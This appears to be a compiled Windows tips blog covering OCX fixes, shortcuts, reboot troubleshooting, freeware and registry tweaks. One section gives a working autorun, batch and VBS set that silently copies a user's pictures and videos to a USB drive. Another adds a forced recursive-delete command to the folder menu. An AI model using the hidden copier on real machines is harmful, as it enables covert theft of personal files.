Comdlg32.ocx Run Time Error Fix

Firstly, download Comdlg 32.ocx and extract it.

Once done, Comdlg 32.ocx needs to be copied into the Windows system folder. (C:/windows/system32)

Lastly, in the run box enter the following and hit enter:
regsur32%systemroot%\system32\comdlg32.ocx

Hopefully this should fix the problem.

Windows 7 Cheat Sheets
Cheat Sheet by Webjawns
Hotkey Cheat sheet by radicaldevelopment

Windows Vista Cheat Sheets
Cheat sheet by customguide

Windows XP Cheat Sheets
Services cheat sheet
Shortcuts cheat sheet

Windows 2000 Cheat Sheets
Error Cheatsheet
Shortcuts Cheatsheet

Command Line Cheat Sheets
XP Command Line Sheet
Command Shell Overview by Microsoft

How to Launch any Program on Windows Startup

Create a shortcut of the program you want to launch at startup.

Go to Start Menu> All Programs> Startup. Right click on the startup folder and select open.

Paste the above created shortcut in this folder.

That’s it! Next time when you start your computer this program will also start.

How to Copy Files to USB Secretly

Firstly, you need to create 4 files- autorun.inf, file.bat, invisible.vbs and launch.bat. Read the following carefully to understand how these files are created and how they work.
Creating autorun.inf:
Open notepad, paste the following and save the file as autorun.inf

[autorun]
icon=drive.ico
open=launch.bat
action=Click OK to Run
shell\open\command=launch.bat

In the above code “drive.ico” is the icon name. You can change it to reflect the icon you want to use. If you don’t intend to use icon then delete that line.

Creating file.bat:
Open Notepad again, paste the following and save the file as file.bat

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% “%USERPROFILE%\pictures” “%drive%\backup\pics”
%backupcmd% “%USERPROFILE%\videos” “%drive%\backup\vid”
@echo off
Cls

In the above code, “backup” is the name of the folder that is to be created on your USB drive. The files will be copyied into it. The first file path “%USERPROFILE%\pictures” – is the target and the second file path “%drive%\backup\pics” – is the destination.

Creating invisible.vbs:

Open Notepad, paste the following and save as invisible.vbs

CreateObject(“Wscript.Shell”).Run “”"” & WScript.Arguments(0) & “”"”, 0, False

This code runs the process in the background without showing the CMD prompt and what the batch file is processing.

Creating launch.bat:
Open Notepad, paste the following and save as launch.bat.

wscript.exe \invisible.vbs file.bat

Copy the above four files to your pen drive. Once you have copied the files, create a folder named backup. When you double click to auto run, the copying process starts in the background.

How to Fix XP Reboot Instead of Shutdown?

Firstly, whenever you experience such a problem, right-click on My Computer and go to > Properties> Advanced tab. Under “Startup & Recovery,” click Settings. Under “System Failure,” uncheck the box in front of “Automatically restart.” This will prevent your computer from restarting but you’ll end up getting a blue screen which will display the information relating to the error. Make a note of the error. Looking at it, we can identify the problem.

Various problems and solutions:

USB Connections: Different USB-related issues can impact shutdown. Sometimes if there are many devices plugged into USB then the computer may reboot. If such devices are plugged into external USB hub you may solve the problem. Or, simply try unplugging USB devices while shutting down.

Logitech MouseWare: Logitech MouseWare versions- 8.6, 9.0, 9.1 have been linked to the reboot problem. In my cousins case it was the 9.1 version of Logitech MouseWare that created the problem. Simply uninstall it by going to control Panel, reboot and then shutdown. This time your computer won’t reboot. The error is caused in the KBDCLASS.SYS. You may see this in the blue error screen.

Hidden “wake on” power settings: If you have an Ethernet card integrated into your motherboard, you may have hidden “wake on” settings that are harder to find. Sometimes you may find a “wake on” setting in Device Manager> Properties> Advanced. You can change it there. But, if it isn’t there then you need to change it in BIOS or Power Management settings.

Webstar DPX USB cable modem: This modem has reported a similar problem n USB 1.1 port. Switch to USB 2.0 PCI card and it should fix the problem.

“Wake on” power settings: Power-management settings that have the computer “wake” on LAN, USB, modem, or probably anything else may also trigger a restart after shutdown. This may happen due to mouse, keyboard, etc. You need to try plugging out that particular device. This kind of problem is easy to identify when you get a new hardware component.

Y-SB3 Logitech Internet Keyboard with Key Commander software: If you have this keyboard and you install the Key Commader software, Win XP will restart instead of shut down.

If your problem is not among the above mentioned ones, feel free to post a comment here regarding your problem so that I can help you out.

There’s a utility known as Kid-Key-Lock. Using this freeware you can lock some functions or every function of your mouse and keyboard. You can lock the left, middle or right mouse button and mouse wheel of your mouse. You can also lock alphabet keys, function keys, number pad on your keyboard.

Kid-Key-Lock is a tiny program. Once installed simply run it and you should see it in your system tray. When you click on the tray icon a pop-up menu will appear. All program functions, including the setup dialog box are accessible from this menu. You can toggle settings and also change password. Once, you have changed settings click on OK for changes to take effect.

Download Kid-Key-Lock

RELATED: Create and Manage Keyboard Shortcuts to different Applications

Certain Programs like Google Chrome sometimes give an installation mode when this mode is enabled. The error may look like ‘Your computer is currently in Windows Audit Mode and is conflicting with the installation. Disable it and proceed.’ For this very reason you need to disable audit mode.

How to Turn Off Audit Mode in Windows 7

Go to the Start> Run.

Type ‘regedit’ and hit enter.

Find and right-click the relevant registry key for your operating system:

Windows XP: AuditInProgress in HKLM\System\Setup
Windows Vista: ImageState in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State
Windows 7: ImageState in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State Select Modify.

Delete the value and Click OK.

Restart your computer for changes to take effect.

RELATED: Google Chrome Theme for XP

How to Hide Drives on Windows 7?

Using NoDrives Manager:
NoDrives Manager is an easy to use freeware for hiding and unhiding drives in Windows. To use it simply download NoDrives Manager, extract the contents to a separate folder and launch ndm.exe. Now, simply tick the drive(s) you want to hide or unhide. Once you’re done with selecting the right drive letters, simply click on write current settings to registry. You need to log off and log on for settings to take effect. Pretty easy isn’t it?

Download NoDrives Manager

Using registry tweaks:

You can hide/ unhide any drive in Windows 7 using registry tweaks. Well, this is little complicated and is not recommended if you aren’t good in using computers. If you want to try out this method you can check out for a detailed tutorial on howtogeek.

Using TweakUI:

You can also hide drives and drive letter using tweakUI. For more information have a look at ‘How to Hide Drive Letters or Partitions in My Computer’

Download Windows 7 Icon pack (535 icons)

Download Windows 7 Ultimate OEM Icons

Download Windows 7 Base Icons

RELATED: Download Windows 7 wallpapers, User Images

Shortcut Key for Creating a New Folder in Windows 7:

Go to the location where you want to create a new folder and hold the keys Ctrl + Shift + N to create a new folder instantly. Just memorize this shortcut key combo and you are all set to create a new folder instantly!

Shortcut Key for Creating a New Folder in Windows Vista:

Press Alt + F then press W then press F (do this quickly), you’ll see a new folder created in the directory in which you are in windows explorer. This method won’t work for Desktop for that you need to download and install bxNew folder utility. After installing it, simply press ‘F12’ to create a new folder.

Shortcut Key for Creating a New Folder in Windows XP:

Unfortunately, unlike Windows 7, XP doesn’t have a direct shortcut key to create a new folder. But you can get a new folder shortcut by installing bxNew Folder utility. After installing you should notice a “New Folder” button in the explorer menu. You can simply click on the “New Folder” button or press F12 key to create a new folder anywhere.

RELATED: 15 Windows Explorer Addons

Taskix is a freeware that enables you to change the default order of the taskbar tabs in Windows XP and Vista. To reorder or rearrange the taskbar tabs, all you need to do is just drag-and-drop a particular tab to the position you desire. It also has an awesome feature which allows you to scroll between tabs using the mouse wheel. To enable this feature you need to set some settings. The “Scroll tabs with mouse wheel” option and also the “Handle middle-click on tabs” > “Close Window” option should be ticked. Once done, Click on the “Activate” button.

Download Taskix

RELATED: Shake a Window with your Mouse and Minimize Windows

[via-mytechquest]

It also allows you to browse and access documents within a folder very quickly. Usually, when you want to edit a series of frequently used documents, you’d have to either launch the app and go to My Computer icon> My Documents folder and then pick the file you want. With 7stacks, just create a stack to that document’s folder, and open that document in a couple of clicks. Pretty easy isn’t it?

Features:
-In 7 and Vista, 7stacks uses Aero, making the stacks look like part of Windows itself.
-Browse subfolders within a stack, just like in OS X Snow Leopard.
-3 different styles of stacks: Normal, Grid, and Menu
-Normal displays a stack of icons vertically, with a text description next to it.
-Grid displays a “squarish” grid of icons only; useful when displaying a large number of items like document folders.
-Menu displays a cascading menu of items, with a very small icon and a name next to it. Hover over subfolders to browse inside those folders.
-In Windows 7, create a new stack by right-clicking on any stack and selecting “Create New Stack” from the JumpList entry.
-In Menu mode, 7stacks doesn’t even need to be in a toolbar. You can use it right from your desktop, or any other folder.
-Pin up to 10 different stacks on the Windows 7 taskbar

Download 7Stacks

RELATED: Windows 7 Aero Shake Taskbar for XP

How to create a desktop shortcut to kill a process?

1. Firstly, right click on anywhere on desktop and create a new shortcut by selecting New> Desktop shortcut.

2. Now, copy and paste the following path in the target box
C:\Windows\System32\taskkill.exe –f –im <process name>

For Instance;
C:\Windows\System32\taskkill.exe –f –im opera.exe
In this command, Opera is targeted and hence ‘opera.exe’ is entered. You may enter any other program name that you would like to kill.

3. Give a name to your shortcut and click Finish.

NOTE:
a. –f is for force kill and –im is to kill all instances of any process
b. Press ctrl+shift+esc to open the task manager. To know the process name for any program, have a look at the program under the Process tab.

RELATED: Remove Suspicious Autorun Files, Fix Disabled Taskbar

How to use ControlPad?

Firstly, download ControlPad zip (link at the bottom of the post) and extract its contents to a particular folder.

Double click on ‘ControlPad.exe’ to start the program.

Now, hold the ‘*’ key for a second to open a small black window. Once the window is open, type a key code, for instance- 123 and press the ‘/’ button on the numeric keypad.

Another window will popup asking you to select the command. Browse for a file, folder or program that you want to launch/ run when that code is entered. Once done, hit ‘Enter’.

Now, the selected code, i.e.; ‘123’ will launch the configured command. In my case I had configured to run an audio convertor. So, to launch the code, you need to hold ‘*’ and type in ‘123’ and hit Enter. The program will launch. Pretty Simple isn’t it?

NOTE: If you want to delete a particular key combination set before, then right click on the Controlpad icon on the system tray and select ‘Open Command File’. Here you should see the command for the key combination ‘123’. It’s ‘123=C:\Program Files\X2Xsoft\Free Audio Converter\ConverterAudio.exe’ for me. To delete simply clear this line and click on ‘Save’ and close the file.

Download ControlPad

RELATED: List Of Windows Commands

Go to Start> Run> regedit and hit enter.

Navigate to the following registry key:
HKEY_CLASSES_ROOT\Directory\shell

Right click on shell folder, and then choose New> Key. Name the new subkey as ‘Empty Folder Contents‘, or anything you would like.

Right click on Empty Folder Contents and choose New> Key. Name the sub-key as Command.

Under the Command sub-key, double click on the Default value data that is located at right hand side.

On the pop-up ‘Edit String’ dialog window, enter the following value:
cmd /c “cd /d %1 && del /s /f /q *.*”

Click ‘OK’ to save, and exit from Registry Editor.

Well, if you still didn’t get it and you don’t want to mess up the system registry then you can download the registry file from here and double click on it to apply settings. Once done, right click on any folder to see an option to clear its contents.

RELATED: Right Click, Hide or Unhide Files